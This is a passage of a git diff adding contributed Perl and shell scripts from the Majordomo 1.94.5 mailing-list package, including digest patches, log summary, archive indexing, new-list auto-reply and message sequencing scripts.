$ARGV[0]; +if (! -d $outputDir) { + $outputDir = "/tmp"; +} +$outputDir =~ s/\/$//; # drop trailing slash + +#------------------------------------ +# Get date for log file name +($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time); + +# log file name is form "logYYMM" +$logFile = sprintf("$outputDir/log%2.2d%2.2d",$year,$mon + 1); + +# open output file +&lopen(OUTPUT,">>",$logFile); + +# Parse the mail header of the message, so we can figure out who to reply to +&ParseMailHeader(STDIN, *hdrs); + +# Print the headers we want + +print OUTPUT "========================================"; +print OUTPUT "======================================\n"; + +foreach $key (@keepHeaders) { + $key =~ tr[A-Z][a-z]; + if (defined($hdrs{$key})) { + $newKey = $key; substr($newKey,0,1) =~ tr/a-z/A-Z/; + printf OUTPUT "%-15s%s\n", "$newKey: ", $hdrs{$key}; + } # if non-blank +} # foreach + +print OUTPUT "\n"; + +# copy the rest of the message + +while () { + print OUTPUT $_; +} +print OUTPUT "\n"; + +&lclose(OUTPUT); diff --git a/update/scripts/packages/majordomo-1.94.5/contrib/archive_mh.pl b/update/scripts/packages/majordomo-1.94.5/contrib/archive_mh.pl new file mode 100644 index 0000000..d7c6754 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/contrib/archive_mh.pl @@ -0,0 +1,34 @@ +#!/bin/perl + +# archive: A hack to use mh to handle the archives +# +# You may redistribute this file, or inlcude it into the offical majordomo +# package +# +# $Source: /sources/cvsrepos/majordomo/contrib/archive_mh.pl,v $ +# $Revision: 1.4 $ +# $Date: 1997/03/10 15:40:41 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ + +# set our path explicitly +$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb"; + +# Read and execute the .cf file +$cf = $ENV{"MAJORDOMO_CF"} || "/tools/majordomo-1.56/majordomo.cf"; +if ($ARGV[0] eq "-C") { + $cf = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); +} +if (! -r $cf) { + die("$cf not readable; stopped"); +} +require "$cf"; + +# Go to the home directory specified by the .cf file +chdir("$homedir"); + +exec("/tools/mh-6.8/lib/mh/rcvstore +$filedir/$ARGV[0] -nocreate\n"); diff --git a/update/scripts/packages/majordomo-1.94.5/contrib/digest.diff b/update/scripts/packages/majordomo-1.94.5/contrib/digest.diff new file mode 100644 index 0000000..12820b8 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/contrib/digest.diff @@ -0,0 +1,348 @@ +From: pdc@lunch.asd.sgi.com (Paul Close) +Subject: Digest code diffs for 1.90 +Date: Thu, 21 Apr 1994 17:56:22 -0700 (PDT) + +Here are my changes to digest which support config file settings for +specifying the digest size in lines and/or the maximum age of the oldest +article, in days. Also support a new flag, -p (for "push"), intended for +use by cron jobs. It checks to see if a digest should be sent, and sends +it if it should (pretty well because an article is too old, but you could +use this to send all the time). + +A few comments on the code. In &should_be_sent, I calculate how big the +article would be if the headers were stripped, both in bytes and in lines. +I add in a bit of a fudge factor for mail headers, just so we don't get too +close to maxlength bytes before sending. Typically, the line count will +cause a digest to be sent before the byte count would (I see the maxlength +count as more of a mailer issue than a digest issue). + +The old digest code had a strange construct: s/\n+$/\n/; I assumed that +this was to trim newlines off the end of the string, but multi-line regexps +don't work that way. The only way I could get this to work is: + + $len = length($body) - 1; + $len-- while (substr($body,$len,1) eq "\n"); + substr($body,$len+1) = ""; + +Any clever hacks appreciated. In the same area, I changed the code that +reads the body of the message to read the whole thing at once (undef $/) +rather than do multiple string concatenations. Seems more efficient. I +also added a ^From escaper, using enough of a real "From " line pattern, +that it shouldn't match just any line beginning with From. + +Under the heading of random perl lore, to count the number of newlines in a +multi-line string, I used: + + $lines += ($body =~ s/\n/\n/g); + +seems pretty straightforward, but I have the nagging suspicion there's an +easier way. + +Finally, I made digest safe past the year 2000, by printing $year+1900 +rather than 19$year. Whoopee! + +Comments welcome! The code is based on 1.90b2, which is the latest I have. + +Index: digest/digest +*** digest/digest.old Sun Mar 6 14:47:06 1994 +--- digest/digest Thu Apr 21 17:35:33 1994 +*************** +*** 63,72 **** + + if (defined($opt_r)) { + &receive_message; + } elsif (defined($opt_m)) { + &make_digest; + } else { +! &abort("Usage: digest {-r|-m} [-c config|(-C -l list)]\nStopped"); + } + + &free_lock; +--- 63,79 ---- + + if (defined($opt_r)) { + &receive_message; ++ if (&should_be_sent()) { ++ &make_digest; ++ } + } elsif (defined($opt_m)) { + &make_digest; ++ } elsif (defined($opt_p)) { ++ if (&should_be_sent()) { ++ &make_digest; ++ } + } else { +! &abort("Usage: digest {-r|-m|-p} [-c config|(-C -l list)]\nStopped"); + } + + &free_lock; +*************** +*** 73,97 **** + + exit(0); + + sub receive_message { +- $sum = 0; + $i = 0; + do { +! $i++; +! $file = sprintf("%s/%03d", $V{'INCOMING'}, $i); +! $sum += (-s $file); + } until (! -e $file); + print STDERR "Receiving $i\n"; + open(MSG, ">$file") || &abort("open(MSG, \">$file\"): $!"); + while () { + print MSG $_; + } + close(MSG); +- $sum += (-s $file); +- if ($sum > $V{'DIGEST_SIZE'}) { +- &make_digest; +- } +- return(1); + } + + +--- 80,146 ---- + + exit(0); + ++ sub should_be_sent { ++ # fudge factors for headers and footers ++ $sum = 600 + length($HEADER) + length($HEADERS) + length($TRAILER); ++ $lines = 25; ++ $i = 0; ++ while (1) { ++ $file = sprintf("%s/%03d", $V{'INCOMING'}, ++$i); ++ last unless (-e $file); ++ open(COUNT, "<$file") || &abort("open(COUNT, \"<$file\"): $!"); ++ ++ $/ = ''; # grab the header ++ $head = ; ++ ++ # only count From/Date/Subject header fields to get a ++ # more accurate size and line count. ++ $head =~ s/\n\s+/ /g; ++ $head =~ /^(From:\s+.*)/i && ($sum += length($1)+1, $lines++); ++ $head =~ /^(Subject:\s+.*)/i && ($sum += length($1)+1, $lines++); ++ $head =~ /^(Date:\s+.*)/i && ($sum += length($1)+1, $lines++); ++ $sum++, $lines++; ++ ++ # count the body of the message ++ undef $/; ++ $body = ; ++ $sum += length($body); ++ $lines += ($body =~ s/\n/\n/g); # count newlines ++ ++ $/ = "\n"; ++ close(COUNT); ++ $sum += length($EB) + 2, $lines += 2; # account for message delimiter ++ ++ if ($V{'DIGEST_SIZE'} && $sum > $V{'DIGEST_SIZE'}) { ++ return(1); ++ } ++ if ($V{'DIGEST_LINES'} && $lines > $V{'DIGEST_LINES'}) { ++ return(1); ++ } ++ if ($V{'MAX_AGE'} && (-M $file) > $V{'MAX_AGE'}) { ++ return(1); ++ } ++ } ++ print "don't send. sum = $sum, lines = $lines\n"; ++ ++ return(0); ++ } ++ + sub receive_message { + $i = 0; + do { +! $file = sprintf("%s/%03d", $V{'INCOMING'}, ++$i); + } until (! -e $file); ++ + print STDERR "Receiving $i\n"; + open(MSG, ">$file") || &abort("open(MSG, \">$file\"): $!"); ++ ++ # copy the message + while () { + print MSG $_; + } ++ + close(MSG); + } + + +*************** +*** 111,129 **** + $head = ; + $head =~ s/\n\s+/ /g; + $body = ""; +! ($subj) = ($head =~ /^subject:\s+(.*)/i); +! $subj = "[none]" unless $subj; +! ($from) = ($head =~ /^from:\s+(.*)/i); +! ($date) = ($head =~ /^date:\s+(.*)/i); + +! $/ = "\n"; +! while () { +! s/^-/- -/; #escape encapsulation boundaries in message +! $body .= $_; +! } + close(message); +! $body =~ s/\n+$/\n/; + + push(@subj,$subj); + print TEMP <; + $head =~ s/\n\s+/ /g; + $body = ""; +! $subj = ($head =~ /^Subject:\s+(.*)/i)? $1: "[none]"; +! ($from) = $head =~ /^From:\s+(.*)/i; +! ($date) = $head =~ /^Date:\s+(.*)/i; + +! undef $/; +! $body = ; + close(message); +! +! # escape ^From ... +! $body =~ +! s/^From (\S+\s+\w{3}\s+\w{3}\s+\d+\s+\d+:\d+:\d+)/>From $1/g; +! $body =~ s/^-/- -/g; # escape encapsulation boundaries in message +! # trim trailing \n's +! $len = length($body) - 1; +! $len-- while (substr($body,$len,1) eq "\n"); +! substr($body,$len+1) = ""; + ++ $/ = "\n"; ++ + push(@subj,$subj); + print TEMP <))[7]; + chdir($HOME); +! &getopt("rmc:Cl:") || +! &abort("Usage: digest {-r|-m} [-c config|(-C -l list)]\nStopped"); + $config = $opt_c || "$HOME/.digestrc"; + $TEMP = "/tmp/digest.$$"; + $SIG{'INT'} = 'cleanup'; +--- 260,267 ---- + $* = 1; + $HOME = $ENV{"HOME"} || (getpwuid($>))[7]; + chdir($HOME); +! &getopt("rmpc:Cl:") || +! &abort("Usage: digest {-r|-m|-p} [-c config|(-C -l list)]\nStopped"); + $config = $opt_c || "$HOME/.digestrc"; + $TEMP = "/tmp/digest.$$"; + $SIG{'INT'} = 'cleanup'; +*************** +*** 245,252 **** + $NUMBER = $config_opts{$opt_l,"digest_issue"}; + $Precedence = $config_opts{$opt_l,"precedence"}; + $Precedence = "bulk" if ($Precedence eq ""); +! $V{'ARCHIVE'} = "$filedir/$opt_l$filedirsuffix"; + $V{'DIGEST_SIZE'} = $config_opts{$opt_l, "maxlength"}; + $V{'ERRORS-TO'} = $config_opts{$opt_l,"sender"}; + $V{'FROM'} = $config_opts{$opt_l, "sender"}; + $V{'INCOMING'} = "$digest_work_dir/$opt_l"; +--- 301,310 ---- + $NUMBER = $config_opts{$opt_l,"digest_issue"}; + $Precedence = $config_opts{$opt_l,"precedence"}; + $Precedence = "bulk" if ($Precedence eq ""); +! $V{'ARCHIVE'} = "$filedir/$opt_l$filedir_suffix"; + $V{'DIGEST_SIZE'} = $config_opts{$opt_l, "maxlength"}; ++ $V{'DIGEST_LINES'} = $config_opts{$opt_l, "digest_maxlines"}; ++ $V{'MAX_AGE'} = $config_opts{$opt_l, "digest_maxdays"}; + $V{'ERRORS-TO'} = $config_opts{$opt_l,"sender"}; + $V{'FROM'} = $config_opts{$opt_l, "sender"}; + $V{'INCOMING'} = "$digest_work_dir/$opt_l"; +*************** +*** 327,333 **** + + sub getdate { + local($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time); +! return($DAYS[$wday] . ", $mday " . $MONTHS[$mon] . " 19$year"); + } + + sub set_lock { +--- 385,392 ---- + + sub getdate { + local($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time); +! $year += 1900; +! return("$DAYS[$wday], $mday $MONTHS[$mon] $year"); + } + + sub set_lock { + +Index: config_parse.pl +*** config_parse.pl.old Thu Apr 21 07:32:50 1994 +--- config_parse.pl Thu Apr 21 07:41:33 1994 +*************** +*** 128,133 **** +--- 128,135 ---- + 'digest_archive', '', + 'digest_rm_footer', '', + 'digest_rm_fronter', '', ++ 'digest_maxlines', '', ++ 'digest_maxdays', '', + # general stuff below + 'comments', '', # comments about config file + ); +*************** +*** 331,336 **** +--- 333,346 ---- + Just like digest_rm_footer, it is also non-operative.', + ); + ++ 'digest_maxlines', ++ "automatically generate a new digest when the size of the digest exceeds ++ this number of lines.", ++ ++ 'digest_maxdays', ++ "automatically generate a new digest when the age of the oldest article in ++ the queue exceeds this number of days.", ++ + # match commands to their subsystem, by default only 4 subsystems + # exist, majordomo, resend, digest and config. + %subsystem = ( +*************** +*** 372,377 **** +--- 382,389 ---- + 'digest_archive', 'digest', + 'digest_rm_footer', 'digest', + 'digest_rm_fronter', 'digest', ++ 'digest_maxlines', 'digest', ++ 'digest_maxdays', 'digest', + # general stuff here + 'comments', 'config', + ); +*************** +*** 418,423 **** +--- 430,437 ---- + 'digest_archive', 'grab_absolute_dir', + 'digest_rm_footer', 'grab_word', + 'digest_rm_fronter', 'grab_word', ++ 'digest_maxlines', 'grab_integer', ++ 'digest_maxdays', 'grab_integer', + # general stuff below + 'comments', 'grab_string_array', + ); + +-- +Paul Close pdc@sgi.com ...!{ames, decwrl, uunet}!sgi!pdc + + No fate but what we make + diff --git a/update/scripts/packages/majordomo-1.94.5/contrib/digest.num b/update/scripts/packages/majordomo-1.94.5/contrib/digest.num new file mode 100644 index 0000000..177c9d4 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/contrib/digest.num @@ -0,0 +1,45 @@ +#!/usr/local/bin/perl + +# Program name digest.num -- Digest numbering. +# +# Lindsay Haisley, FMP Computer Serivces (fmouse@fmp.com) +# +# Usage: digest.num -l list_name [-i issue_num] [-v volume_num] +# +# Sets number for next digest issue and volume number in the config file +# for list list_name. If issue_num and volume_num are not supplied, they +# are set to 0. + +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; +require "$cf"; +# chdir("$homedir"); + +require "shlock.pl"; +require "config_parse.pl"; +require "getopt.pl"; + +&Getopt('liv'); +die "No list config specified\n" if !defined($opt_l); +die "List config file $opt_l.config does not exist\n" unless -e "$listdir/$opt_l.config"; +&get_config($listdir, $opt_l); + +if (defined($opt_v)) { + $volume = $opt_v; +} else { + $volume = 0; +} + +if (defined($opt_i)) { + $issue = $opt_i; +} else { + $issue = 0; +} + +$config_opts{$opt_l, "digest_volume"} = $volume; +$config_opts{$opt_l, "digest_issue"} = $issue; + +&set_lock("$listdir/$opt_l.config.LOCK"); +&config'writeconfig($listdir, $opt_l); +&free_lock("$listdir/$opt_l.config.LOCK"); +print STDERR "Config for list $opt_l set to volume $volume, issue $issue\n"; + diff --git a/update/scripts/packages/majordomo-1.94.5/contrib/digest.send b/update/scripts/packages/majordomo-1.94.5/contrib/digest.send new file mode 100644 index 0000000..3229833 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/contrib/digest.send @@ -0,0 +1,28 @@ +#! /bin/sh +# This script was contributed by "Paul Pomes" +# +# It only works with versions of "digest" that have been modified +# to work with the config file moddifications in majordomo 1.90 and above. +# This script can be called from cron to automatically generate +# digests for all of the lists in DIGESTDIR. E.G. +# +# daily +# 0 2 * * * /path/to/digest.send +# +# weekly (on monday) +# 0 2 * * 1 /path/to/digest.send +# +# monthly (first of the month) +# 0 2 1 * * /path/to/digest.send +# +DIGESTDIR=/usr/spool/digests +cd $DIGESTDIR + +for i in * +do + if [ -f $i/001 ]; + then + /path/to/majordomo/wrapper digest -m -C -l $i ${i}-outgoing + fi +done + diff --git a/update/scripts/packages/majordomo-1.94.5/contrib/logsummary.pl b/update/scripts/packages/majordomo-1.94.5/contrib/logsummary.pl new file mode 100644 index 0000000..e0c6da4 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/contrib/logsummary.pl @@ -0,0 +1,156 @@ +#!/bin/perl +# +# Print various statistics about the Log file +# +# Todo: summarize admin commands +# +# Paul Close, April 1994 +# + +while (<>) { + if (($mon,$day,$time,$who,$cmd) = + /([A-Za-z]+) (\d+) ([\d:]+)\s+.*majordomo\[\d+\]\s+{(.*)} (.*)/) + { + @f = split(' ',$cmd); + $cmd = $f[0]; + $f[1] =~ s/[<>]//g; + $f[2] =~ s/[<>]//g; + $count{$cmd}++; + + # help + # lists + # which [address] + # approve PASSWD ... + if ($cmd eq "approve" || + $cmd eq "help" || + $cmd eq "lists" || + $cmd eq "which") + { + ${$cmd}++; + } + + # index list + # info list + # who list + elsif ($cmd eq "index" || + $cmd eq "info" || + $cmd eq "who") + { + if ($#f == 1) { + $lists{$f[1]}++; + $f[1] =~ s/-//g; + ${$f[1]}{$cmd}++; + } else { + $bad{$cmd}++; + } + } + + # get list file + # newinfo list passwd + elsif ($cmd eq "get" || + $cmd eq "newinfo") + { + if ($#f == 2) { + $lists{$f[1]}++; + $f[1] =~ s/-//g; + ${$f[1]}{$cmd}++; + if ($cmd eq "get") { + $req = &ParseAddrs($who); + $long{$req} = $who; + $getcount{$req}++; + } + } else { + $bad{$cmd}++; + } + } + + # subscribe list [address] + # unsubscribe list [address] + elsif ($cmd eq "subscribe" || + $cmd eq "unsubscribe") + { + if ($#f >= 1) { + $lists{$f[1]}++; + $f[1] =~ s/-//g; + ${$f[1]}{$cmd}++; + } else { + $bad{$cmd}++; + } + } + + # request cmd list subscribe (for approval) + elsif ($cmd eq "request") { + if ($#f >= 2) { + $lists{$f[2]}++; + $f[2] =~ s/-//g; + ${$f[2]}{$cmd}++; + } else { + $bad{$cmd}++; + } + } + + else { + $unrecognized{$cmd}++; + } + } else { + warn "line $. didn't match!\n" if !/^$/; + } +} + +#print "Command summary:\n"; +#foreach $cmd (sort keys %count) { +# printf " %-20s %4d\n", $cmd, $count{$cmd}; +#} + +print "Global commands:\n"; +printf(" %-15s %4d\n", "help", $help) if defined($help); +printf(" %-15s %4d\n", "lists", $lists) if defined($lists); +printf(" %-15s %4d\n", "which", $which) if defined($which); +print "\n"; + +#print "Unrecognized commands:\n"; +#foreach $cmd (sort keys %unrecognized) { +# printf " %-15s %4d\n", $cmd, $unrecognized{$cmd}; +#} +#print "\n"; + +if (defined(%bad)) { + print "Incomplete commands:\n"; + foreach $cmd (sort keys %bad) { + printf " %-15s %4d\n", $cmd, $bad{$cmd}; + } + print "\n"; +} + +# skip request and newinfo +print "List subscr unsub index get info who config approve\n"; +foreach $list (sort keys %lists) { + printf "%-20s", substr($list,0,20); + $list =~ s/-//g; + %l = %{$list}; + printf " %6d %6d %6d %6d %6d %6d %6d %6d\n", $l{subscribe}, $l{unsubscribe}, + $l{index}, $l{get}, $l{info}, $l{who}, $l{config}, $l{approve}; +} +print "\n"; + +@reqs = sort {$getcount{$b}<=>$getcount{$a};} keys %getcount; +if ($#reqs >= 0) { + print "Top requestors (get command):\n"; + for ($i=0; $i < 5; $i++) { + printf " %5d %s\n", $getcount{$reqs[$i]}, $long{$reqs[$i]}; + last if ($i == $#reqs); + } +} + +# from majordomo.pl, modified to work on a single address +# $addrs = &ParseAddrs($addr_list) +sub ParseAddrs { + local($_) = shift; + 1 while s/\([^\(\)]*\)//g; # strip comments + 1 while s/"[^"]*"//g; # strip comments + 1 while s/.*<(.*)>.*/\1/; + s/^\s+//; + s/\s+$//; + $_; +} + diff --git a/update/scripts/packages/majordomo-1.94.5/contrib/makeindex.pl b/update/scripts/packages/majordomo-1.94.5/contrib/makeindex.pl new file mode 100644 index 0000000..63ed3a3 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/contrib/makeindex.pl @@ -0,0 +1,98 @@ +#!/bin/perl +# +# Given an archive directory, create a table of contents file and a topics +# file. The table of contents file simply lists each subject that appears +# in each archive file, while the topics file is a list of each unique +# subject and the files that subject appears in. +# +# I run this from cron every night.... +# +# Paul Close, April 1994 +# + +if ($#ARGV != -1) { + $dir = $ARGV[0]; + shift; +} +else { + die "usage: $0 archive_directory\n"; +} + +opendir(FILES, $dir) || die "Can't open directory $dir: $!\n"; +@files = readdir(FILES); # get all files in archive directory +closedir(FILES); + +open(INDEX,">$dir/CONTENTS") || die "Can't open $dir/CONTENTS: $!\n"; +open(TOPICS,">$dir/TOPICS") || die "Can't open $dir/TOPICS: $!\n"; + +foreach $basename (@files) { + next if $basename eq '.'; + next if $basename eq '..'; + next if $basename eq "CONTENTS"; + next if $basename eq "TOPICS"; + print INDEX "\n$basename:\n"; + open(FILE, "$dir/$basename") || next; + while () { + if (/^Subject:\s+(.*)/i) { + ($subj = $1) =~ s/\s*$//; + next if $subj eq ""; + # + # for index file, just print the subject + # + print INDEX " $subj\n"; + # + # for topics file, strip Re:'s, remove digest postings, + # and trim the length to 40 chars for pretty-printing. + # + 1 while ($subj =~ s/^Re(\[\d+\]|2?):\s*//i); # trim all Re:'s + next if $subj eq ""; + next if $subj =~ /[A-Za-z]+ Digest, Volume \d+,/i; + next if $subj =~ /[A-Za-z]+ Digest V\d+ #\d+/i; + if (length($subj) > 40) { + $subj = substr($subj, 0, 37) . "..."; + } + # + # Make a key that's all lower case, and no whitespace to + # reduce duplicate topics that differ only by those. This + # also results in a list of topics sorted case-independent. + # + ($key = $subj) =~ tr/A-Z/a-z/; + $key =~ s/\s+//g; + $subjlist{$key} .= "$basename,"; + if (!defined($realsubj{$key})) { + $realsubj{$key} = $subj; + } + } + } + close(FILE); +} +close(INDEX); + +foreach $subj (sort keys %subjlist) { + # + # for each subject, record each file it was found in + # + undef %found; + undef @names; + for (split(",", $subjlist{$subj})) { + $found{$_} = 1; + } + # + # make list of 'found' names and wrap at 80 columns + # + $names = join(", ", sort keys %found); + undef @namelist; + while (length($names) > 40) { + $index = 40; + $index-- until (substr($names, $index, 1) eq " " || $index < 0); + push(@namelist,substr($names,0,$index)); + $names = substr($names,$index+1); + } + push(@namelist,$names); + printf TOPICS "%-40s %s\n", $realsubj{$subj}, $namelist[0]; + for ($i=1; $i <= $#namelist; $i++) { + print TOPICS " " x 41, $namelist[$i], "\n"; + } +} +close(TOPICS); + diff --git a/update/scripts/packages/majordomo-1.94.5/contrib/new-list b/update/scripts/packages/majordomo-1.94.5/contrib/new-list new file mode 100644 index 0000000..8e6388d --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/contrib/new-list @@ -0,0 +1,103 @@ +#!/bin/perl + + +# $Source: /sources/cvsrepos/majordomo/contrib/new-list,v $ +# $Revision: 1.14 $ +# $Date: 1996/12/09 16:50:45 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ + +# set our path explicitly +$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb"; + +# Read and execute the .cf file +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; +if ($ARGV[0] eq "-C") { + $cf = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); +} +if (! -r $cf) { + die("$cf not readable; stopped"); +} +require "$cf"; + +chdir($homedir) || die("Can't chdir(\"$homedir\"): $!"); +unshift(@INC, $homedir); +require "majordomo.pl"; +require "shlock.pl"; + +&ParseMailHeader(STDIN, *hdrs); +$reply_to = &RetMailAddr(*hdrs); +$reply_to = join(", ", &ParseAddrs($reply_to)); +die("new-list: $reply_to is not a valid return address.\n") + if (! &valid_addr($reply_to)); + +$in_reply_to = $hdrs{"message-id"} . ", from " . $hdrs{"from"}; +$list = $ARGV[0]; + +# Define all of the mailer properties: +# It is possible that one or both of $sendmail_command and $bounce_mailer +# are not defined, so we provide reasonable defaults. +$sendmail_command = "/usr/lib/sendmail" + unless defined $sendmail_command; +$bounce_mailer = "$sendmail_command -f\$sender -t" + unless defined $bounce_mailer; + +$sender = "$list-approval"; + +$mailcmd = eval qq/"$bounce_mailer"/; + +if (defined($isParent = open(MAIL, "|-"))) { + &do_exec_sendmail(split(' ', $mailcmd)) + unless $isParent; +} else { + &abort("Failed to fork prior to mailer exec"); +} + + +print MAIL <<"EOM"; +To: $reply_to +Cc: $list-approval +From: $list-approval +Subject: Your mail to $list\@$whereami +In-Reply-To: $in_reply_to +Reply-To: $list-approval\@$whereami + +This pre-recorded message is being sent in response to your recent +email to $list\@$whereami. + +If you were trying to subscribe to the list, please send your request +to $whoami, not to $list\@$whereami. + +This is a new list. Your message is being returned unsent, but please +hold on to it. After a few days, when the flood of subscription +requests has died down somewhat, the owner of the list will announce +that the list is "open for business"; you should resubmit your posting +then. This way, everybody who joins the list within the first few days +of its existence starts out on an even footing, and we don't end up +with every other message asking "what did I miss?". + +Here's your original, unsent message: + +EOM + ; + +foreach ("From", "To", "Cc", "Subject", "Date", "Message-ID") { + ($hdr = $_) =~ tr/A-Z/a-z/; + if (defined($hdrs{$hdr})) { + print MAIL $_, ": ", $hdrs{$hdr}, "\n"; + } +} + +print MAIL "\n"; + +while () { + print MAIL $_; +} + +close(MAIL); + +exit 0; diff --git a/update/scripts/packages/majordomo-1.94.5/contrib/sequencer b/update/scripts/packages/majordomo-1.94.5/contrib/sequencer new file mode 100644 index 0000000..df50016 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/contrib/sequencer @@ -0,0 +1,559 @@ +#!/usr/bin/perl -U + +# Copyright 1996 MACS, Inc. +# Copyright 1992, D. Brent Chapman. See the Majordomo license agreement +# for usage rights. +# +# $Source: /sources/cvsrepos/majordomo/contrib/sequencer,v $ +# $Revision: 1.2 $ +# $Date: 1996/12/09 16:50:48 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ +# + +# sequence - a program for sequencing and archiving e-mail messages +# from majordomo +# +# Based heavily upon the resend script included in the majordomo distribution + +# set our path explicitly +$ENV{'PATH'} = "/bin:/usr/bin:/usr/sbin:/sbin"; + +# What shall we use for temporary files? +$tmp = "/tmp/majordomo.$$"; + +# Before doing anything else tell the world I am sequencer +# The mj_ prefix is reserved for tools that are part of majordomo proper. +$main'program_name = 'sequencer'; + + +# If the first argument is "@filename", read the real arguments +# from "filename", and shove them onto the ARGV for later processing +# by &Getopts() + +if ($ARGV[0] =~ /^@/) { + $fn = shift(@ARGV); + $fn =~ s/^@//; + open(AV, $fn) || die("open(AV, \"$fn\"): $!\nStopped"); + undef($/); # set input field separator + $av = ; # read whole file into string + close(AV); + @av = split(/\s+/, $av); + unshift(@ARGV, @av); + $/ = "\n"; +} + +# Read and execute the .cf file +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; +if ($ARGV[0] eq "-C") { + $cf = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); +} +if (! -r $cf) { + die("$cf not readable; stopped"); +} +require "$cf"; + +chdir($homedir) || die("Can't chdir(\"$homedir\"): $!"); +unshift(@INC, $homedir); +use Getopt::Std; +require "majordomo.pl"; +require "majordomo_version.pl"; +require "config_parse.pl"; +require "shlock.pl"; + +getopts("Aa:df:h:I:l:m:M:nNp:Rr:s") || die("sequencer: Getopts() failed: $!"); + +if (! defined($opt_l) || ! defined($opt_h)) { + die("sequencer: must specify both '-l list' and '-h host' arguments"); +} + +# smash case for the list name +$opt_l =~ tr/A-Z/a-z/; + +if ( ! @ARGV) { + die("sequencer: must specify outgoing list as last arg(s)"); +} + +$opt_r = "$opt_r@$opt_h" if ( defined($opt_r) ); + +&get_config($listdir, $opt_l); + +$opt_A = &cf_ck_bool($opt_l,"moderate") if &cf_ck_bool($opt_l,"moderate"); +$opt_h = $config_opts{$opt_l,"resend_host"} + if($config_opts{$opt_l,"resend_host"} ne ''); +$opt_a = $config_opts{$opt_l,"approve_passwd"} + if ($config_opts{$opt_l,"approve_passwd"} ne ''); +$opt_M = $config_opts{$opt_l,"maxlength"} + if ($config_opts{$opt_l,"maxlength"} ne ''); + +$opt_f = $config_opts{$opt_l,"sender"} + if ($config_opts{$opt_l,"sender"} ne ''); +$opt_p = $config_opts{$opt_l,"precedence"} + if ($config_opts{$opt_l,"precedence"} ne ''); +$opt_r = $config_opts{$opt_l,"reply_to"} + if ($config_opts{$opt_l,"reply_to"} ne ''); +$opt_I = $config_opts{$opt_l,"restrict_post"} + if ($config_opts{$opt_l,"restrict_post"} ne ''); +$opt_R = &cf_ck_bool($opt_l,"purge_received") + if &cf_ck_bool($opt_l,"purge_received"); +$opt_s = &cf_ck_bool($opt_l,"administrivia") + if &cf_ck_bool($opt_l,"administrivia"); +$opt_d = &cf_ck_bool($opt_l,"debug") + if &cf_ck_bool($opt_l,"debug"); + +if (defined($opt_f)) { + $sendmail_sender = $opt_f; +} else { + $sendmail_sender = "$opt_l-request"; +} + +if (defined($opt_a)) { + if ($opt_a =~ /^\//) { + open(PWD, $opt_a) || die("sequencer: open(PWD, \"$opt_a\"): $!"); + $opt_a = &chop_nl(); + } +} + +if (defined($opt_A) && ! defined($opt_a)) { + die("sequencer: must also specify '-a passwd' if using '-A' flag"); +} + +# code added for getting new sequence number + +if (defined($opt_N)) { + $opt_n = $opt_N; +} + +if (defined($opt_n)) { + $seqfile = "$listdir/$opt_l.seq"; + if (! -r $seqfile) { # if there is no sequence file, make one + open(SEQ, ">$seqfile") || die("sequencer: open of $seqfile failed: $!"); + print SEQ "1\n"; + close SEQ; + } + &main'lopen(SEQ, "<", "$seqfile") || die("sequencer: locked open of $seqfile failed: $!"); + chop($seqnum = ); + +# note that the sequence file is opened and locked from here until +# the message is sent + +} + + +$sender = "$sendmail_sender@$opt_h"; + +&open_temp(OUT, "/tmp/sequencer.$$.out") || + &abort("sequencer:1 Can't open /tmp/sequencer.$$.out: $!"); + +&open_temp(IN, "/tmp/sequencer.$$.in") || + &abort("sequencer: Can't open /tmp/sequencer.$$.in: $!"); + +while () { + print IN $_; +} + +close(IN); + +open(IN, "/tmp/sequencer.$$.in") || + die("sequencer: Can't open /tmp/sequencer.$$.tmp: $!"); + +do { + $restart = 0; + $pre_hdr = 1; + while () { + if ($pre_hdr) { + if (/^\s*$/) { + # skip leading blank lines; usually only there if this is a + # restart after an in-body "Approved:" line + next; + } else { + $pre_hdr = 0; + $in_hdr = 1; + $kept_last = 0; + } + } + if ($in_hdr) { + if (/^\s*$/) { + # end of header; add new header fields + # if there is no subject, create one + if (!defined($subject)) { + local($foo); + if ($config_opts{$opt_l,"subject_prefix"} ne '') { + $foo = &config'substitute_values( + $config_opts{$opt_l,"subject_prefix"}, $opt_l); +# for sequencing we add a special keyword! + if (defined($opt_n)) { + $foo =~ s/\$SEQNUM/$seqnum/; + } + local($foo_pat) = $foo; + $foo_pat =~ s/(\W)/\\$1/g; + if (!/$foo_pat/) { + $foo = $foo . " "; + } + } + $subject = $foo . "Message for " . $opt_l; + print OUT $subject, "\n"; + } + + print OUT "Sender: $sender\n"; + if (defined($opt_p)) { + print OUT "Precedence: $opt_p\n"; + } + if (defined($opt_r)) { + print OUT "Reply-To: ", &config'substitute_values($opt_r), + "\n"; + } + + # print out additonal headers + if ( $config_opts{$opt_l,"message_headers"} ne '' ) { + local($headers) = &config'substitute_values ( + $config_opts{$opt_l,"message_headers"}, $opt_l); + $headers =~ s/\001/\n/g; + print OUT $headers; + } + + $in_hdr = 0; + print OUT $_; + + # print out front matter + if ( $config_opts{$opt_l,"message_fronter"} ne '' ) { + local($fronter) = &config'substitute_values ( + $config_opts{$opt_l,"message_fronter"}, $opt_l); + $fronter =~ s/\001|$/\n/g; + print OUT $fronter; + } + } elsif (/^approved:\s*(.*)/i && 